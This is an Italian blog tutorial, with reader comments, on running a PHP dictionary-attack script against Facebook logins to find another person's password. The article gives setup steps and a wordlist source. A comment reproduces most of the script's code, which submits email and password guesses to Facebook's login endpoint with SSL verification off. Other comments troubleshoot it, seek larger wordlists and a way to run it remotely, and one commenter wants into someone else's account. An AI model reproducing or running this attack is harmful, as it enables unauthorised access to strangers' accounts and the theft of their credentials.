Nota: L’articolo è stato ovviamente scritto a solo scopo educativo. L’utilizzo di tale tecnica per rubare password altrui è ovviamente illegale.
Ecco un semplice script php realizzato da ac007 che ci permetterà di recuperare facilmente la password di un account facebook il tutto effettuando un semplice attacco a dizionario.
Per iniziare copiamo l’intero script (compreso tra il “<?” e il “?>“) visualizzabile al seguente indirizzo, ed incolliamolo in un comune editor di testo (anche il blocco note di Windows va benissimo) facendo però attenzione a salvare il file con il seguente nome e la seguente estensione: brute.php.
Nota: La sequenza di caratteri”<?” e “?>” in una pagina web, serve ad indicare al browser rispettivamente l’inizio e la fine di codice Php.
Ora dobbiamo creare o cercare in rete un dizionario che contenga delle password comuni da sfruttare nel nostro per portare a termine con successo il nostro attacco. Possiamo trovarne uno al seguente indirizzo realizzato da MERCATANTI.
Apriamo adesso il file brute.php e modifichiamo la seguente riga:
$dictionary =dirname(__FILE__)."\wordlist\mil-dic.txt";
in questo modo:
$dictionary =dirname(__FILE__)."\nome_file_dizionario.txt";
Nota: Se abbiamo deciso di utilizzare il file dizionario linkato in questo articolo, il codice da inserire sarà il seguente: $dictionary =dirname(__FILE__).”\PasswordListTA.txt;.
Per iniziare l’attacco dobbiamo caricare lo script e il dizionario in una stessa directory ed avviare successivamente il nostro Web Server Locale (Se siamo utenti Mac possiamo usare Mamp mentre se siamo utenti Windows possiamo usare Wamp).
Puntiamo infine il nostro browser predefinito all’indirizzo del nostro web server locale (di solito l’url è simile alla seguente: “http://localhost:8888/brute.php”) e forniamo l’email dell’account facebook di cui vogliamo conoscere la password per iniziare l’attacco.
Ecco uno screenshot che mostra lo script brute.php appena caricato sul web server locale .
Dopo aver inserito l’email di cui si vuole conoscere la password, premiamo sul pulsante Submit per iniziare l’attacco. Il risultato verrà caricato sempre nella stessa pagina (http://localhost:8888/brute.php) e, più precisamente,vedremo scorrere tutte le chiavi presenti nel dizionario (quello usato nella guida è mil-dic.txt) che di volta in volta vengono testate dallo script. Se una delle seguenti chiavi presenti nel dizionario corrisponde alla password della vittima lo script ci fornirà il seguente output: “Password found : password_corrispondente”
Ecco un ulteriore screenshot:






ok, funziona. il problema ora è un dizionario serio..qualche suggerimento?o qualche programma che crei un dizionario..
ciao scusa potresti dirmi come hai fatto visto ke a me esce il testo dello script quando richiamo il file brute.php eppure ho seguito passo passo la guida… ti ringrazio bfeste
allora..per questo problema devi modificare lo script all'inizio mettendo
<?php
al posto di
<?
fammi sapere se hai altri problemi…
ciao mi potresti dare lo script corretto al 100%? qua pure facendo tutte ste correzioni non va e mi dice errore nella riga 64
Potresti dirmi come hai fatto?? A me continua a dare tutte not found (nonostante ci sia la pass giusta…)
lo script è corretto, se vi dà errori ditemi che tipo di errore è, e cerco di spiegarvi come risolverlo..
ti dà tutte not found?hai lo script più recente (prova a ri-copiarlo di nuovo..)?ci sono simboli strani oppure lettere maiuscole nella pwd?
ti metto cosa esce cosi capisci meglio:
$value) { $data.=$key."=".urlencode($value)."&"; } return $data; } set_time_limit(0); ini_set('output_buffering',true); $dictionary =dirname(__FILE__).”PasswordListTA.txt"; // need dictionary to password list function CheckItOut($email,$pass) { $ret=false; $useragent = "Opera/9.21 (Windows NT 5.1; U; tr)"; $data = setData($email,$pass); $ch = curl_init('https://login.facebook.com/login.php?login_attempt=1'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_ENCODING , "gzip,deflate"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt'); $source=curl_exec($ch); $info=curl_getinfo($ch); if($info["redirect_count"]==1) { $ret=true; } return $ret; } echo "
Entry Email Address below to Bruteforce…
Email Address:
Click the Submit Button to Start..
"; if(isset($_POST['username'])) { $username =$_POST['username']; if(!is_file($dictionary)){echo "$dictionary is not file";exit;} $lines=file($dictionary); echo "Attack Starting..
"; sleep(3); echo "Attack Started, brute forcing..
"; foreach($lines as $line) { $line=str_replace("rn","",$line); if(CheckItOut($username,$line)) { echo "[+] username:$username , password:$line – Password found : $line
"; $fp=fopen('cookie.txt','w'); fwrite($fp,'successfully pass:'.$line); exit; }else{ echo "[-] username:$username , password:$line – Password not found :$line
"; } /** * Print the result direct onto the browser screen… */ ob_flush(); flush(); } } ?>
qst è ciò ke mi da come faccio a risolvere grazie e buon natale
scusa se ti infastidisco ancora.. ora mi da il seguente errore:
Parse error: parse error in C:wampwwwbrute.php on line 26
enzo: ricopia il codice, sembra che non lo legga come php ma come testuale, manca di sicuro qualche tag. per il secondo errore, controlla aprendo con blocco note il codice se alla riga 25 c'è il ; finale, se non c'è mettilo.
guarda il codice sembra a posto proprio nn riesco a capire dov'è l'errore nn è ke puoi postarmi tu il codice corretto te ne sarei grato… ancora grazie per la disponibilità
Ho copiato lo script più recente ma continua a non trovarmi la password.
A chi funziona, potrebbe mandarmi il link dello script definitivo?
Grazie
Sono MERCATANTI, non mercantini e non è il Mercatanti'S Lab, ma http://www.luca-mercatanti.com
Correzione apportata… scusami per l'errore!
oppure al posto di un bel attacco a dizionario nn si potrebbe fare con un algoritmo ??? perchè è logico che quando c' è un numero tipo cio8 l' attacco a dizionario risulta inutile almeno credo …
ragazzi ho un problema, ho windows vista e una volta avviato il wamp nn so cosa fare.
Ragazzi a me da sempre not found anche se nel dizionario la password c'è.
Ho usato l'ultimo script postato quello con $line=str_replace("rn","",$line);.
Quale può essere il problema?
CIAO! mi potreste aiutare su una cosetta??? da ieri non riesco ad accedere su Facebook o su msn,e ogni volta che cerco di farlo compare sopra qst url http://www.tomshw.it/forum/register.php?dhttps://... cosa devo fare???qual'è il problema??? mi raccomando,rispondetemi come rispondereste ad un bambino visto che sn ignorante nell'ambito del pc…
ciao a tutti….
scusate ma ho seguito la guida ma non mi è proprio chiaro il tutto allora ho scaricato i due file txt (a parte che il dizionario ne ho cercato un altro perchè non riuscivo a scaricarlo) comunque ho anche installato wamp seguendo semplicemente la procedura anche se sicuramente c'è qualcosa di sbagliato perchè per me devo inserire qualcosa….mi potreste spiegare in breve la procedura per installare wamp e per caricare i due file in un unica directory…vi prego e urgente e stra importante!
dove trovo i script
CIAO CONTATTAMI A QUESTO INDIRIZZO giuliobozzolan@libero.it ,HO UN AFFARE DA PROPORTI.. GRAZIE
Funziona….però bisognerebbe inserire un stringa per permettere al programma di trovare anche le password composte da numeri e lettere….
Intendi dire un dizionario? Cmq si! si potrebbe trovare/creare qualche script che in base a qualche dato inserito sulla vittima(data di nascita, nome, cognome) generi un file di testo contente delle potenziali password!
Anche quella che dici potrebbe essere un’idea…nel mio commento precedente volevo dire che nello script bisognerebbe inserire una riga che permetta al programma di trovare le password formate anche da numeri ( es. ciao2, c1ao, gatto34, ecc…). Il programma infatti trova solo password “semplici”, ovvero composte da sole lettere( es. ciao, cane, gatto, cammello, ecc….)
ciao sto provando ma ho un problema e chiedo a Paolo se mi puo' aiutare, in pratica giunto al momento di far partire l'attacco col submit mi da un errore che si chiama:
Fatal error: Call to undefined function curl_init() in C:wampwwwattacco1brute.php on line 32
mi sapete aiutare?
grazie
ciao sto provando ma ho un problema e chiedo a Paolo se mi puo' aiutare, in pratica giunto al momento di far partire l'attacco col submit mi da un errore che si chiama:
Fatal error: Call to undefined function curl_init() in C:wampwwwattacco1brute.php on line 32
mi sapete aiutare?
grazie
Controlla se hai attive sul server locale le librerie curl!
Se mi dici anche come fare per vedere se sono attive te ne sarei grato perche' da solo non c'arrivo.
salve, lo script funziona alla perfezione.. avrei una domanda da fare ai più esperti.. è possibile far girare lo script in remoto?? cioè a pc spento lo script deve testare le password… c'è un servizio che permette ciò?? grazie.. comunque voglio segnalarvi questo dizionario di password.. http://rs55.rapidshare.com/files/100861231/28GBwo...
il file è 78 Mb compresso e decompresso il file .txt è circa 25 Gb… :) hihihih un pò grandino….
oh grande bel sito!!!Io sono riuscito a fare partire lo script ma poi mi dice Fatal error: Call to undefined function curl_init() in C:wampwwwbrute.php on line 32
ciao ottimo articolo!ho seguito passo-passo la tua guida senza problemi.Ho un unico intoppo:dopo aver installato MAMP(sono su Mac), ho copiato il file brute.php e la lista password nella cartella htdocs, dopodichè ho avviato mamp. Mamp apre la sua homepage perfettamente ma andando poi a digitare http://localhost:8888/brute.php mi restituisce una pagina bianca. Il file php_error.log dice:"[07-Mar-2010 23:57:13] PHP Parse error: syntax error, unexpected T_FUNCTION in /Applications/MAMP/htdocs/brute.php on line 13
[07-Mar-2010 23:57:33] PHP Warning: Unexpected character in input: '' (ASCII=92) state=1 in /Applications/MAMP/htdocs/brute.php on line 8".
Ti ringrazio da parte di tutta la comunità mac!!!!
Io ho provato ma dice che c'è stato un errore di caricamento pagina…http://localhost:8888/brute.php
Il progarmma gira alla perfezione..
Qualcuno potrebbe dirmi dove trovare un buon dizionario? che lì dove è indicato non lo trovo..
per favore passatemi solo link diretti alla fonte..
grazie
ciao ragazzi una mia amica ha smarrito o qualkuno è entrato e gliel'ha cambiata la password di facebook ……..Ora io vorrei trovargli la password come faccio i link ke sn presenti in questo sito sono offline come faccio potete rimettere online questi link?? o anke se mi date un consiglio come eliminargli l'account
vi prego aiutatemiiiiiiiiiiii
ma questa tecnica si chiama wordlist attack, non è un bruteforce!
praticamente consiste nel provare al posto dell'utente una serie di password già pre-selezionate di un dizionario.txt in cui ogni password è separata da un acapo, questo consente di risparmiare all'utente di provare tutte le password manualmente, ma amenochè la vittima non abbia il QI di un comodino sarà pressochè impossibile che imposti una password da dizionario del tipo cane, casa, auto, gatto, letto….
un bruteforce, invece è una tecnica in cui vengono generati un definito numero di caratteri (definito dall'attaccante) alti e bassi, e numeri. questo vuol dire che il programma genererà tutte le combinazioni possibili per un certo numero di caratteri in cui è possibile combinare numeri e lettere e caratteri speciali. questa tecnica non fallisce mai, visto che prima o poi a forza di combinazioni uscirà la combinazione vincente tra tutte le possibili, c'è solo un piccolo problemino… che per una password di 8 caratteri alti e bassi, con numeri e caratteri speciali tipo – _ * + etc etc… un quad core da 2,5ghz impiegerebbe diverse centinaia di anni…
ribadisco che le tecniche valide sono ben altre.
boh ho provato varie volte ma quando clicco su Submit mi dice "L'indirizzo http://localhost/brute.php cui si è tentato di accedere, non è al momento disponibile"
A CHI VA potete gentilmente linkare lo scripThanks a lot
http://www.pcexpert-blog.com/snippet/brute.txt
scusate ma a me da quest'errore
Fatal error: Call to undefined function curl_init() in C:ProgrammiEasyPHP5.3.0wwwbrute.php on line 32
allora io uso mac e safari. nel momento in cui faccio partire il link http://localhost:8888/brute.php mi esce solo una schermata bianca!!!! cosa devo fare?
ragazzi a me continua ad uscire una pagina bianca… mi aiutate per favore? uso mac….. quindi mamp + safari … help
mi dice impossibile visualizzare la pagina all'indirizzo http://localhost:8888/brute.php.. come posso fare? c'è scritto che è impossibile collegarsi alla porta 8888
IO MI SONO PERSA GIA AL PUNTO DEL DIZIONARIO :p CM SI CREA? O DOVE LO CERCO??? E DOVE VADO A SOSTITUIRE LA RIGA $dictionary =dirname(__FILE__)."wordlistmil-dic.txt";……NON CI HO CAPITO MOLTO………PER FAVORE HELPPPPPP